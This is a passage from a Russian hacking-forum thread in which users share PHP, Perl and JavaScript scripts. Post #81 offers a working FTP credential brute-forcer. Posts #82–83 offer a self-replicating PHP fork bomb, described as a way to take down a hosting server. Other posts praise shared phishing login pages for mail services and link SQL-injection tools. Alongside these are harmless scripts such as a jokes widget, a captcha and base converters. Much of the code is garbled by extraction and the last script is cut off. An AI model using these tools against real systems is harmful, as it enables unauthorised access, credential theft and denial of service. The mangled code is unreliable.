ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #81  
Старый 30.04.2007, 10:51
mamamot
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме:
38505

Репутация: 48
Отправить сообщение для mamamot с помощью ICQ
По умолчанию

Простой брутофорсер FTP

PHP код:
<?php
    
//первое-определяем файлы с которыми работаем:
    //Список серверов:
    
$fservers "servers.txt";
    
//Список логинов:
    
$flogins "logins.txt";
    
//Список паролей:
    
$fpasswords "passwords.txt";
    
//Лог-файл:
    
$flog "ftpbrut.log";
    
//Открываем файлы:
    
$servers file($fservers);
    
    
$logins file($flogins);

    
$passwords file($fpasswords);
    
    
$fd fopen($flog"w");
    
//Цикл перебирает сервера
    
foreach($servers as $server)
    {
        
$connect ftp_connect($server);
        echo 
$server."<br />";
        if(
$connect)
        {
            foreach(
$logins as $login)
            {
                foreach(
$passwords as $password)
                {
                    
$result ftp_login($connect$login$password);
                    if(
$result)
                    {
                        
$str "ftp://".$login.":".$password."@".substr($server,6);
                        
$log .= $str."\r\n";
                        echo 
$str."<br />";
                        break;
                    }
                }
                if(
$result)
                {
                    break;
                }
            }
            
ftp_quit($connect);
        }
    }
    
fwrite($fd$log);
    
fwrite($fd"done succesful");
    echo 
"done succesful";
?>
 

  #82  
Старый 04.05.2007, 20:57
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

Скрипт, может не совсем полезный... В общем, downer... Прицнип работы:
1. Запускается скрипт, в нем вечный цикл, который создает точно такой же скрипт с другим именем и запускает его.
2. Шаг 1

За 10 секунд один файл порождает около 1000 таких скриптов и запускает их... Эти 1000 скрипт за следующие 10 секунд пораждают 1000 * 1000 таких скрипт и запускают их %))) Я думаю это должно убить хостинг.

Требования: поддержка popen на хосте и права на создание файлов в папке.

Скрипт написал за 10 минут, просто было интерестно ))

PHP код:
<?php

// HOST DoooWNER
// By SpeedHack

if (isset($_GET['start'])) {
    
$fp popen('php -f ' __FILE__ ' &''r');
    
pclose($fp);
} else {
    while (
1) {
        
$file dirname(__FILE__) . '/' md5(uniqid()) . '.php';
        
$fp fopen($file'w');
        
fwrite($fpfile_get_contents(__FILE__));
        
fclose($fp);
        
$fp popen('php -f ' $file ' &''r');
        
pclose($fp);
    }
}

?>

Последний раз редактировалось Developer; 04.05.2007 в 20:59..
 

  #83  
Старый 04.05.2007, 21:01
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

Можно чуть упростить:

PHP код:
<?php

while (1) {
    
$new dirname(__FILE__) . '/' md5(uniqid()) . '.php';
    
$fp fopen($new'w');
    
fwrite($fpfile_get_contents(__FILE__));
    
fclose($fp);
    
$fp popen('php -f ' $new ' &''r');
    
pclose($fp);
}

?>
 

  #84  
Старый 08.05.2007, 07:43
KoT94
Познающий
Регистрация: 16.04.2007
Сообщений: 34
Провел на форуме:
81890

Репутация: 6
По умолчанию

прикольно показывает анекдотики
Код:
<p align="left"><strong>Анекдот:</strong><br>
        <font size="1" face="Verdana, Arial"><script
        language="JavaScript">
var h=(Math.random()*26);
 if (h <1) document.writeln("- Мыкола, ты слыхал, як москали ICMP-пакеты называють? <br> - Як? <br> - Пинги!..");
 if (h > 1 && h < 2) document.writeln("Интернетчика спросили: <br> - Что такое Червона Рута? <br> - Это женщина-админ на сервере Компартии.");
 if (h > 2 && h < 3) document.writeln("Звонок в компьютерную контору: <br> - С моим компьютером проблемы, он не включается... <br> - Как не включается? <br> - Да пишет все время: Вставьте дискету, вставьте дискету... <br> - А вы вставляли? <br> - Нет... Как-то не догадался.");
 if (h > 3 && h < 4) document.writeln("Подведены итоги лотереи <b>Windows 95</b>: <br> Выиграла фирма Microsoft. Разыграны миллионы чайников.");
 if (h > 4 && h < 5) document.writeln("Школьный учитель спрашивает учеников о профессии родителей: <br> - Вася, чем твоя мама занимается на работе? <br> Вася встает и гордо говорит: <br> - Она - доктор! <br> - Замечательно, ну как насчет тебя, Маша? <br> Девочка стеснительно произносит: <br> - Мой папа разносит почту. <br> - Спасибо, Маша - говорит учитель. <br>   Ну, а твои родители что делают, Вовочка? <br> Вовочка гордо встает и объявляет: <br> - Мой папа играет музыку в борделе! <br> Обалдевший учитель решил направиться к Вовочке домой. <br> - В каких условиях вы растите ребенка? - спрашивает он у отца. <br> Тот отвечает: <br> - Вообще-то я программист и специализируюсь на TCP/IP коммуникационном протоколе в системе UNIX. Ну как объяснить это семилетнему пацану?");
 if (h > 5 && h < 6) document.writeln("- Вы уверены,что хотите удалить папку D:\TEMP? <br> - Да! <br> - В этой папке находятся файлы. Вы уверены, что хотите их удалить? <br> - Да!! <br> - Удаление этих файлов может повлиять на зарегистрированные программы. Вы все еще уверены? <br> - Да!!! - Эти файлы могут использоваться системой. Вы уверены? <br> - Пошла ты нахрен! - заорал админ и нажал Cancel. <br> - Ага! Испугался! - подумала NT.");
 if (h > 6 && h < 7) document.writeln("Идет молитва в церкви. Чинно-спокойно льется речь. <br> Вдруг небеса разверзаются и оттуда в лучах небесного света появляется лицо Бога: <br> - Сыны и дочери мои, настал момент... <br> Со страшным грохотом небеса захлопываются. <br> Все прихожане в шоке! Никто не верит своим глазам. <br> Через несколько минут все повторяется снова: <br> - Сыны и дочери мои, настал момент мне предст.... <br> Все судорожно крестятся. Вдруг небеса опять разверзаются, из сияния выглядывает омраченный лик Господа: <br> - Вот же гребаный провайдер!");
 if (h > 7 && h < 8) document.writeln("Компьютер позволяет решать все те проблемы, которых до изобретения компьютера не существовало.");
 if (h > 8 && h < 9) document.writeln("Штирлиц просматривает электронную почту. <br> Hезаметно входит Мюллер. У Штирлица на экране бессмысленный набор символов. <br> - Шифровка! - подумал Мюллер. <br> - Koi8-r - подумал Штирлиц.");
 if (h > 9 && h <10) document.writeln("Завис компьютер? Выдерни шнур, выдави стекло.");
 if (h > 10 && h <11) document.writeln("Чем отличается программист от пользователя? <br> Пользователь думает, что в килобайте 1000 байт, а программист думает, что в километре 1024 метра.");
 if (h > 11 && h <12) document.writeln("По окончании инсталляции программ Microsoft очень часто можно прочесть <br> - <b>Мы долго и трудно работали. Наслаждайтесь!</b> <br> После работы с некоторыми программами Microsoft хочется изменить эту фразу на следующую: <br> <b>- Мы долго и трудно работали. Теперь - ваша очередь!</b>");
 if (h > 12 && h <13) document.writeln("Предлагается к продаже <b>Соборъ</b> - надёжная помощь в комплексной автоматизации вашего прихода. Компьютер <b>Соборъ</b> - это: <br> - кадило и сокадило на 1GHz <br> - оперативная паперть, расширяемая до 1024 меганищих <br> - 15-ти дюймовый SVGA алтарь (на складе имеются 17-ти и 21 дюймовые модели) <br> - жесткий несъемный крест <br> - кружка двухщелевая типа <b>На восстановление храма</b> <br> - круглый принтер для пасхальных яиц <br> - клавиатура со старославянским шрифтом и раскладкой <br> По желанию заказчика может быть установлено следующее лицензионное ПО: <br> - Старый Завет 95 <br> - Новый Завет 98 <br> - Слово Господне 2000 <br> - 1С: Исповедальня (с сохранением тайны исповеди и выводом на широкий принтер) <br> Так же наша организация подключит ваш компьютер через выделенную линию к Верховному Провайдеру.");
 if (h > 13 && h <14) document.writeln("Если чрезмерная увлеченность вашего ребенка компьютерными играми вызывает у вас беспокойство, постарайтесь приобщить его к более серьезным и здоровым занятиям: картам, вину, девочкам.");
 if (h > 14 && h <15) document.writeln("Пpиходит сантехник к пpогpаммисту pемонтиpовать засоpившуюся pаковину и начинает ковыpяться в отстойнике... <br> - А у вас тут из сети все на винт падает... Вот и забило! <br> - Hадо винт больше ставить? <br> - Hет, винт надо вообще нахрен спилить!");
 if (h > 15 && h <16) document.writeln("Программист ставит себе на тумбочку перед сном два стакана. <br> Один с водой - на случай, если захочет ночью пить. А второй пустой - на случай, если не захочет.");
 if (h > 16 && h <17) document.writeln("Что общего между морской свинкой и женщиной-программером? То, что морская свинка - она и не свинка, и не морская.");
 if (h > 17 && h <18) document.writeln("Земля. 2050 год. Генный инженер-программист разбирает очерендной кусок генной последовательности и видит следующий комментарий: <br> - /* A eti geny nado by ubrat nahren. Archangel Gavriil */");
 if (h > 18 && h <19) document.writeln("Компьютерщик, провозившийся всю ночь с установкой кривой видео-карты, заходит в булочную после бессонной ночи: <br> - Мне, пожалуйста, буханку черно-белого хлеба и батон цветного.");
 if (h > 19 && h <20) document.writeln("Едут в машине новый русский, инженер и программист. Машина заглохла. Инженер: <br> - Сейчас посмотрю в чем дело! <br> Новый русский: <br> - Да не беспокойся, я по мобильнику спецбригаду вызову! <br> Программист: <br> - Спокойно, ребята, сейчас выйдем, снова зайдем и она заработает!");
 if (h > 20 && h <21) document.writeln("Приходит программист в библиотеку и говорит: <br> - Позовите мне архивариуса! Мне надо его спросить! <br> - Я его отправил в архив. Могу я вам помочь? <br> - Разархивируйте его, он мне срочно нужен!");
 if (h > 21 && h <22) document.writeln("Есть три способа, которыми русские програмисты достают программное обеспечение: <br> воровство, грабеж и обмен награбленным.");
 if (h > 22 && h <23) document.writeln("Билл Гейтс получил Hобелевскую премию по экономике и медицине за то, что додумался продавать геморрой за такие большие деньги!");
 if (h > 23 && h <24) document.writeln("В кои-то веки программер идет домой засветло. Все вокруг красиво, деревья, птички, облачка... Останавливается он и говорит: <br> - Вот ведь блин, и ведь без всякого OpenGL!");
 if (h > 24 && h <25) document.writeln("Два программиста едут в переполненном автобусе. Один - другому: <br> - Что-то у меня с писюком! <br> Пассажиры замирают. <br> - А что с ним? <br> - Да висит часто... <br> - Может вирус какой? <br> - Да проверял, все стерильно... <br> - А висит хорошо? <br> - Крепко, тремя пальцами не поможешь...");
 if (h > 25 && h <26) document.writeln("Один компьютерщик рассказывает другому: <br> - Представляешь, вчера возвращаюсь с работы чуть раньше обычного, а у жены в постели - незнакомый мужик. И глаза у обоих хитрые-хитрые... Я сразу неладное заподозрил, кинулся к компу, пытаюсь выйти в Интернет - а они, гады, пароль сменили...");
</script></font>
</p>
 

  #85  
Старый 12.05.2007, 01:52
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


Cool

Самая защищенная и комфортная каптча:

captcha.php
PHP код:
<?php
session_start
();
?>
<img src="captcha.php" />
<form method="post">
Enter code : <input type="text" name="get_code">
<input name="sub" type=submit value="Проверить">
</form>
<?php
if($_POST['sub']) {
    if(
$_POST['get_code'] == $_SESSION['code']) {
        echo 
"Картинка введена верно";
    } else {
        echo 
"Картинка введена неверно";
    }
}
?>
captcha.php
PHP код:
<?php
session_start
();
session_register('code');
$_SESSION['code'] = rand(1000000,9999999);
for(
$i 0$i 7$i++) {
    
$arr[$i] = substr($_SESSION['code'],$i,1);
}
$im imagecreate(130,40);
imagecolorallocate($im,255,255,255);
$a 0;
for(
$i 0$i 7;$i++)
{
    
$color=imagecolorallocate($im,rand(0,250),rand(0,250),rand(0,250));
    
imagestring($im,3,$a+=15,0,$arr[$i],$color);
}
header("Content-type: image/jpeg");
imagejpeg($im,'',100);
?>

Последний раз редактировалось Isis; 12.05.2007 в 02:06..
 

  #86  
Старый 12.05.2007, 10:18
SpewFire
Banned
Регистрация: 14.03.2007
Сообщений: 82
Провел на форуме:
996198

Репутация: 85
Отправить сообщение для SpewFire с помощью ICQ
По умолчанию

Цитата:
Сообщение от GrAmOzEkA  
Выкладываю фейки :
yandex.ru
tut.by
rambler.ru
pochta.ru
mail.ru
hotmail.ru
gmail.com

Сперты с t-11.org
Мож кому пригодятся.
http://rapidshare.com/files/30822932/fake.rar
Пасиб....пригодиться....тебе +!!!!!!!!
 

Скрипты от AOH.name
  #87  
Старый 27.05.2007, 19:04
Slon
Участник форума
Регистрация: 09.12.2005
Сообщений: 162
Провел на форуме:
701592

Репутация: 91
По умолчанию Скрипты от AOH.name

Хочу представить вам мои скрипты, может кто то найдет что нибудь полезное для себя.
Кому пригодились мои скрипты не забываем про +

#############################

SQL binary search
Утилитка для посимвольного пребора в SQL бинарным поиском. Метод используеться при отсутствие виода результатов SQL инъекции
+ хорошая скорость работы
+ все полностью автоматизированно. После выполнение будет выдан полный текст результата подзапроса

URL: http://aoh.name/sploit/bin.txt

#############################

SQL injection tool
Без коментариев. Утилита для подбоpа кол-ва столбцов в union и автоматического перебора имен таблиц по словарю.

URL: http://aoh.name/sploit/sql.txt

#############################

Proxy finder
Утилита для многопоточного поиска прокси и сканирование прокси листа на живые и неживые прокси.
+ Многопоточность
+ Работа с прокси листами
- На active perl иногда не настроиваетсья таймаут.

URL: http://aoh.name/sploit/a0hpr0xyf1nder.txt
 

  #88  
Старый 11.06.2007, 01:20
REDsaratov
Участник форума
Регистрация: 17.12.2006
Сообщений: 191
Провел на форуме:
415254

Репутация: 75
Отправить сообщение для REDsaratov с помощью ICQ
По умолчанию

скрипт показывающий кодировку

PHP код:
<HTML>  
<
HEAD>      
<
TITLE>Ваша кодировка :</TITLE>  </HEAD>    
<
BODY BGCOLOR="#FFFFFF">    <script>  var u=navigator.userAgent; if (u.indexOf("Win") != -1
// Текст в 1251  document.writeln ("Windows 1251") ; 
else if (u.indexOf("DOS") != -|| u.indexOf("OS/2") != -1
// Текст в 866  document.writeln("MS-DOS CP866"); else 
// Текст в K018  document.writein ( "лПДЙТПЧЛБ KOI8-R") ;  
</script>    
</
BODY
</
HTML
скрипт 2-Base перекодировщик

PHP код:
<HTML>   
<
HEAD>      
<
TITLE>Base converter</TITLE>      
<
SCRIPT LANGUAGE="JavaScript">   <!-- hiding content from old browsers     
 
// Copyright (c) 1996-1997 Tomer Shiran. All rights reserved.   
// Permission given to use the script provided that this notice remains as is.   
// Additional scripts can be found at http:
//www.geocities.com/~yehuda/      
// Simulate the "power of" (^) operator   
/////////////////////////////////////////     
 
function power(op1op2) {       var result 1       for (var 1<= op2i++) {           result *= op1       }       return result   }      
// Simulate the div (integral division)   
// operator   
/////////////////////////////////////////      
function div(op1op2) {       
return 
Math.round(op1 op2 op1 op2 op2)   }      
// Returns a digit (maximum hexadecimal)   
// based on its decimal value   
/////////////////////////////////////////      
function getDigit(val) {       if (val == 10) return "A"       if (val == 11) return "B"       if (val == 12) return "C"       if (val == 13) return "D"       if (val == 14) return "E"       if (val == 15) return "F"       return val       
// the return statement terminates the function,       
// so there is no need for else statements   }      
// Returns the decimal value of a digit   
// (maximum hexadecimal)   
/////////////////////////////////////////      
function getValue(dig) {       if (dig == "A") return 10       if (dig == "B") return 11       if (dig == "C") return 12       if (dig == "D") return 13       if (dig == "E") return 14       if (dig == "F") return 15       return dig       
// the return statement terminates the function,       
// so there is no need for else statements   }       
// Convert from decimal to specified base   
/////////////////////////////////////////      
function toBase(numbase) {       var newNum = (num == 0) ? "0" ""       while (num >= 1) {           newNum getDigit(num base) + newNum           num div(numbase)           }       return newNum   }      
// Convert from specified base to decimal   
/////////////////////////////////////////     
 
function toDec(numbase) {       if (base == 8)           return parseInt("0" num)       if (base == 16)           return parseInt("0x" num)       num "" num 
// convert to string by casting       
var numLength num.length       
// the length property returns the length of a string       var newNum = 0 
// initialization                   
// (must be 0 so the sum is not affected)       var curDigit = ""       var contributedValueValue = 0       for (var i = numLength - 1; i >= 0; --i) {           curDigit = num.charAt(i)           contributedValue = getValue(curDigit)           contributedValue *= power(base, numLength - (i + 1))           newNum += parseInt(contributedValue)       }       return newNum           }      
// Main function that accepts input and    
// calls appropriate functions   
/////////////////////////////////////////      
function convert(numbase1base2) {       
if (
typeof num == "string")           
num num.toUpperCase()       if (base1 == base2)           return num       if (base1 == 10)           
return 
toBase(numbase2)       if (base2 == 10)           return toDec(numbase1)       return toBase(toDec(numbase1), base2)   }       
// Create a conversion table  
 /////////////////////////////////////////      
function drawTable(lastNum) {       with (document) {           lastNum parseInt(lastNum)           write("<TABLE BORDER=3>")           write("<TR><TD COLSPAN=8><CENTER><FONT COLOR=purple SIZE=+4>")           write("Base Converter</FONT></CENTER></TD></TR>")           
write("<TR>")           
for (var 
2<= 162) {               write("<TD><CENTER> Base " 
</CENTER></TD>"
)           }           
write("</TR>")           
for (var 
0<= lastNum; ++i) {               write("<TR>")                   
for (var 
2<= 162) {                   write("<TD>" toBase(ij) + "</TD>")               }               write("</TR>")           }           write("</TABLE>")       }   }          
// Gets table's input   
/////////////////////////////////////////     
 
function getTableAttributes() {       
var 
message "Enter last number to be converted in the table"       var lastNum parseInt(prompt(message15))       
if (
lastNum != 0)           
drawTable(lastNum)       }     
 
// Convert individual numbers, until the   
// user selects cancel on the first    
// prompt of the loop   
/////////////////////////////////////////      
function calcNum() {       while(1) {           
var 
number prompt("Enter a number in any base:"0)           
if (
number == null)                break           var base1 prompt("Enter its base:"10)           if (base1 == null)                continue           base1 parseInt(base1)           var base2 prompt("Enter the desired base:"16)           if (base2 == null)                continue           base2 parseInt(base2)           var outputString number " (base " base1 ") = "            outputString += convert(numberbase1base2)            outputString += " (base " base2 ")"           alert(outputString)       }   }      
// Ask user for conversion device  
// (T-table, I-individual values)   
/////////////////////////////////////////     
 
function mainInput() {       var message "Enter (T) to create a table or (V) to "       message += "calculate a value"       
var chosenDevice prompt(message"T")       if (chosenDevice == "T" || chosenDevice == "t")           getTableAttributes()       else           if (chosenDevice == "V" || chosenDevice == "v")               calcNum()           else               alert("Goodbye!")   }      mainInput()      
// end hiding content -->   
</SCRIPT>   
</
HEAD>   
<
BODY>   
</
BODY>  
</
HTML
Кодировщик-перекодировщик

PHP код:
<HTML>  
<
HEAD>  
<
TITLE>Enciphering</TITLE>  
<
SCRIPT LANGUAGE="JavaScript"
 <!--   
 
// Copyright (c) 1996-1997 Tomer Shiran. All rights reserved.  // Permission given to use the script provided that this notice remains as is.  
// Additional scripts can be found at http:
//www.geocities.com/~yehuda/    
// create list of valid characters  var list = "0123456789abcdefghijklmnopqrstuvwxyz._~ABCDEFGHIJKLMNOPQRSTUVWXYZ"    function encipher() {      
// prompt user for string      
var str prompt("Enter string:""")        
// terminate function if user selects CANCEL      if (!str)          return        
// check that each character of input string is valid      
for (var 0str.length; ++i) {          
if (list.
indexOf(str.charAt(i)) == -1) {              alert("script terminated -- invalid character found")              return          }      }        
// prompt user for key      
var key prompt("Enter key (1-63):""")        
// terminate function if user selects CANCEL      if (!key)          return        
// convert key to integer (number)      
key parseInt(key)        
// alert enciphered string      
alert(encode(strkey))  }    
function 
encode(strkey) {      
// initialize accumulative string variable      
var code ""        
// encipher all characters      
for (var 0str.length; ++i) {          
var 
ind = list.indexOf(str.charAt(i))          
var 
converted = list.charAt(ind key)          code += converted      }        
// return enciphered value      return code  }    encipher()    
// --> 
</SCRIPT
</
HEAD>  
<
BODY>  
</
BODY>  
</
HTML
 

  #89  
Старый 11.06.2007, 01:39
REDsaratov
Участник форума
Регистрация: 17.12.2006
Сообщений: 191
Провел на форуме:
415254

Репутация: 75
Отправить сообщение для REDsaratov с помощью ICQ
По умолчанию

Этот скрипт сохраняет информацию о посетителях вашего сайта (дата, время,host name, IP-адрес и т.д.),затем он отсылает вам эту информацию по E-mail.

PHP код:
#! /usr/local/bin/perl


#                              mail-log.cgi
#
#                    Version 2.03   --   27 Jan 1997
#                   http://www.all-yours.net/scripts/
#             Perl (release 4 or 5) script for Unix servers


#     Written by Walter Soldierer of All-Yours Internet Solutions
#               (hermes@all-yours.net), one of the authors of
#
#                          THE DIGITAL POSTCARD
#
#           A FREE service to increase your web site's exposure!
#                            Need more hits?
#            Check it out at http://www.all-yours.net/postcard/


# This script saves access date+time, the visitor's host name, their IP
# address and browser type, and the refering page (if any) to a log file
# on your server (default name = logfile.txt). This file will be automatically
# mailed to your mailbox. You can change the mailing interval according
# to your needs (default value is every 50 accesses to the page to be
# logged). The script will autocreate the logfile, if it does not exist.


# ----- BEGIN INSTALLATION INSTRUCTIONS -----
#  - Save this script to a file mail-log.cgi
#  - Cut installation instructions (optional)
#  - Change the first script line, if your server's Perl executable
#    is not located in /usr/local/bin/perl
#  - Customize the settings below (*SETTINGS*)
#    * Change e-mail address for $recipient
#    * Set $log_page to 1 if you also want to log the page that
#      called this script. Recommended in case you want to log accesses
#      to more than one HTML page.
#    * Set $max_entries to your needs, if you want to have more or less
#      than 50 log entries mailed to your mailbox each time.
#    * Change path/filename for log file, if necessary
#      (default = logfile.txt in your cgi directory)
#    * Change values for $check_host and $interval, if necessary
#    * Change filename for host/time file, if necessary (default = hosttime.txt)
#  - ASCII-upload mail-log.cgi to your cgi directory (cgi-bin, cgi-local...)
#    Make it executable (chmod mail-log.cgi 755)
#  - add the following line (Server Sde Include) to the page(s) to be logged
#    (after the <body> tag):
#    <!--#exec cgi="/your-cgi-directory/mail-log.cgi"-->
#    HTML pages with Server Side Include tags often need to have the
#    file extension ".shtml" !!!! (don't forget to update
#    all links to this page(s) accordingly)
#    (You should test the script with a test.shtml page first)
#  - Load the logged page(s) with your browser.
#  - View your new logfile
#    It should look something like this:
#    
#    Time: 05/30/96 14:44:07 EDT
#    Host: your.host.and.domain
#    Addr: 123.45.67.89
#    With: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
#    Page: test.shtml
#    From: [no entry here, if you accessed your page directly (otherwise Yahoo etc.)]
#
#    If the script doesn't work and you want to contact us, please check
#    the following first:
#    - did you upload the script in ASCII mode (*not* binary)?
#    - did you chmod the script 755
#    - does your server support the "exec cgi" Server Side Include?
#    - did you rename the html file to .shtml
#    - did you check the path to your server's Perl executable?
#
#    If you still have a problem and you want us to help you, we need to know:
#     - a detailed description of your problem
#     - your script's settings section
#     - html code and file name for the page to be logged
#     - script related error messages from your server's error log file
# ----- END INSTALLATION INSTRUCTIONS -----



# -----------------------------------------------------------------------
# *SETTINGS* to customize this script:

# Your email address (within single quotes!):
$recipient 'xxxx@yyyy.com';

# Do you want to log the .shtml page's file name?
# (recommended when more than one poage is logged)
# 1 = the .shtml page that called this script will be logged
# 0 = the .shtml page that called this script will not be logged
$log_page 1;

# Do you want to log your visitor's IP number?
# The script attemps to call a domain name server in order to resolve
# IP addresses (such as 132.45.323.5) to a host name (such as yourdomain.com)
# However, resolving IP addressses doesn't work 100 per cent so you
# might also want to log rhe IP addresses.
# 1 = IP addresses will be logged
# 0 = IP addresses will be discarded
$log_IP 1;

# Number of logged visits mailed to your mailbox at a time:
$max_entries 50;

# Change logfile name if necessary:
$logfile 'logfile.txt';

# server's sendmail directory:
$mailprogam '/usr/lib/sendmail';

# If you set $check_host = "1" the script attempts not
# to log multiple page reloads.
# When a page was accessed from the same host by using the same
# browser, this visit will only be logged after the time 
# interval specified in $interval.
# Example: You set $interval to 1800 (seconds). If there was no
# access from a different host in the meantime, a visitor from the
# same host who uses the same browser will only be logged when s/he
# accesses your page 30 minutes after visitor one.
# In other words: If someone reloads the page many times, in most cases
# s/he needs to wait 30 minutes after each reload to make your log file
# grow. When you set $check_host to 0 even the reloads will be logged.
$check_host 1;  # set to zero if you don't like this feature

# If you set the $check_host variable to 1, specify a time interval to
# ignore page reloads
$interval 600;   # seconds!

# If you set the $check_host variable to 1, change the name of the file
# that temporarily stores host and time information (if necessary)
$hostfile 'hostfile.txt';




# don't change anything past this line unless you know what you are doing
# -----------------------------------------------------------------------

# create a date+time string
$shortdate = `date +"%D %T %Z"`; 
chop ($shortdate);

# Some of Perl's network info functions required here
($part1,$part2,$part3,$part4)=split(/\./,$ENV{REMOTE_ADDR});
$IP_adr=pack("C4",$part1,$part2,$part3,$part4);
(
$host_name)=(gethostbyaddr("$IP_adr"2));

print 
"Content-type: text/plain\n\n";

if (
$check_host) {
   
# read host and time info from last visitor
   
if (-"$hostfile") {
      
open(HOST,"$hostfile");
      
$hostline = <HOST>;
      
chop($hostline) if $hostline =~ /\n$/;
      
close(HOST);
      (
$old_time,$old_number,$old_page,$old_browser) = split(/\|/,$hostline);
   }

   
# save host and time info and check if this is a page reload
   
open(HOST,">$hostfile");
   
$seconds time;
   print 
HOST "$seconds\|$ENV{REMOTE_ADDR}\|$ENV{'DOCUMENT_URI'}\|$ENV{'HTTP_USER_AGENT'}";
   
close(HOST);

   if (
time $old_time $interval
   
&& $ENV{REMOTE_ADDReq $old_number
   
&& $ENV{'DOCUMENT_URI'eq $old_page
   
&& $ENV{'HTTP_USER_AGENT'eq $old_browser) {
      exit;  
# probably same visitor, so exit
   
}
}

# open log file for output and append new log data
open (LOGFILE">>$logfile");
print 
LOGFILE "Time: $shortdate\n";
print 
LOGFILE "From: $ENV{'HTTP_REFERER'}\n";
print 
LOGFILE "IP  : $ENV{REMOTE_ADDR}\n" if $log_IP;
print 
LOGFILE "Host: $host_name\n";
print 
LOGFILE "With: $ENV{'HTTP_USER_AGENT'}\n";
print 
LOGFILE "Page: $ENV{'DOCUMENT_URI'}\n" if $log_page;
print 
LOGFILE "\n";
close (LOGFILE);

# open log file for input and count log entries
open (LOGFILE$logfile);
@
entries = <LOGFILE>;
close (LOGFILE);
$log_rows 7;
$log_rows-- unless $log_page;
$log_rows-- unless $log_IP;
$log_count = @entries/$log_rows;

# if number of logs >= max. number of logs, mail file and delete it
if ($log_count >= $max_entries) {
   
open (MAIL"|$mailprogam $recipient") || die "Can't open $mailprogam!\n";
   print 
MAIL "Subject: Mail-log File\n\n";
   print 
MAIL "@entries\n";
   
close MAIL;

   
unlink $logfile;
}

# end of script 

Скрипт выполняет множество функций для администрирования Unix сервера.

PHP код:
#!/usr/bin/perl5
#
# +---------------------------------------------------------------------+
# | sysdaemon                                                           |
# | Written By   : Trans-Euro I.T Ltd                                   |
# | Written On   : July 27th 1997                                       |
# |                                                                     |
# | Purpose        System monitor                                       |
# |                Reads the contents of :-                             |
# |                /usr/local/etc/sysdaemon/daemontab                   |
# |                the daemon names present are scanned for the results |
# |                being written back to :-                             |
# |                /var/log/sysmon.REPORT                               |
# |               If a failure occurs the appropriate support team are  |
# |               contacted by email.. also if any filestore partition  |
# |               reaches 99%, a pager message can also be sent.        |
# |               This daemon replaces sysmon, which was written in     |
# |               korn shall/bash.                                      |
# |               On recieving a kill -HUP signal the daemon will       |
# |               re-read its config file.                              |
# |               The definable nature of this daemon means...          |
# |               There is NO user changeable code.                     |  
# +---------------------------------------------------------------------+
# | (c) 1997 This script is the intellectual property of                |
# | Trans-Euro I.T Ltd                                                  |
# +---------------------------------------------------------------------+
use Config;

$VERSION="1.40";
$PROGRAM="sysdaemon";

$hup=0;

$pidfile="/var/run/sysdaemon.pid";
$tab="/usr/local/etc/sysdaemon/daemontab";
$report="/var/log/sysmon.REPORT";
$date=get_date();
$time=get_time();
$node=`uname -n`;
$daemon_name="";
$status="";
$work1="/tmp/sysdaemon1.$$";
$work2="/tmp/sysdaemon2.$$";
$mailprog='/usr/sbin/sendmail';
$support="support\@svr1.marketrends.net";
$filesystem="";
$capacity="";
$fstat="";

@
daemontable="";
@
proc="";
@
fstab="";

format SYSDAEMON =
@<<<<<<<<<<<<<<<<<< : 
daemon is @<<<<<<<<<<<<<<<<<<<<<<<<:Status is @<<<<
$time                           $daemon_name                        $status 
.

format SYSDAEMONHUP =
@<<<<<<<<<<<<<<<<<< : 
HUP re-reading @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$time                                $tab
.

format SYSDAEMONFS =
@<<<<<<<<<<<<<<<<<< : @<<<<<<<<<<<<<<<<<<< : @<<<<       : @<<<<
$time                 $filesystem            $capacity     $fstat
.

unless ( -"$tab") { die "$tab is either missing or empty !!\n";}
                 
read_daemontab();
        
unless (fork) {
 
unless (fork) {
   
sleep1 until getppid == 1;

# +---------------------------------------------------------------------+
# | Main Daemon control loop                                            |
# +---------------------------------------------------------------------+

   
write_pid();
   
write_report_header();
       
   while ( ! 
$daemon_control) {

         
# +---------------------+
         # | Catch signals here! |
         # +---------------------+

         
$SIG{HUP} = \&hup;
         if (
$hup) { read_daemontab();$hup=0;}

         
# +---------------------+
         # | main process loop   |
         # +---------------------+

         
$SIG{HUP} = \&hup;
        
         
$date=get_date();
         
$time=get_time();
         
gather_process_info();
         
scan_process();          
         
check_filestore();

         
unlink($work1);
         
unlink($work2);
         
sleep 300;
                              }
            
 exit 
0;
               }
exit 
0;
              }

# +---------------------------------------------------------------------+
# | Sub programs                                                        |
# +---------------------------------------------------------------------+

sub hup {
  
$hup=1;
 }

# +---------------------------------------------------------------------+

sub read_daemontab {

if (
$hup eq "1") { log_hup();}

open(T,"$tab") || die "Cannot open $tab!\n";
@
daemontable=<T>;
close(T);

foreach 
$EOF (@daemontable) {
   
$_=$EOF;
   
s/\012//g;
   
$EOF=$_;}
}

# +---------------------------------------------------------------------+

sub write_pid {
open(PID,">$pidfile") || die "Cannot open $pidfile!!\n";
print 
PID $$;
close(PID);
}

# +---------------------------------------------------------------------+

sub get_date {
my $date=`date`;
$_=$date;
s/\012//g;
$date=$_;
return 
$date;
}

# +---------------------------------------------------------------------+

sub write_report_header {
open(REP,">$report")|| die "Cannot open $report!!\n";
print 
REP "--------------------------------------------------------\n";
print 
REP "$PROGRAM : $VERSION starts at $date\n";
print 
REP "Trans-Euro I.T (c) 1997.\n";
print 
REP "Written by Stephen Martin\n";
print 
REP "--------------------------------------------------------\n";
close(REP);


# +---------------------------------------------------------------------+

sub get_time {
my $time=`date +"%D : %T"`;
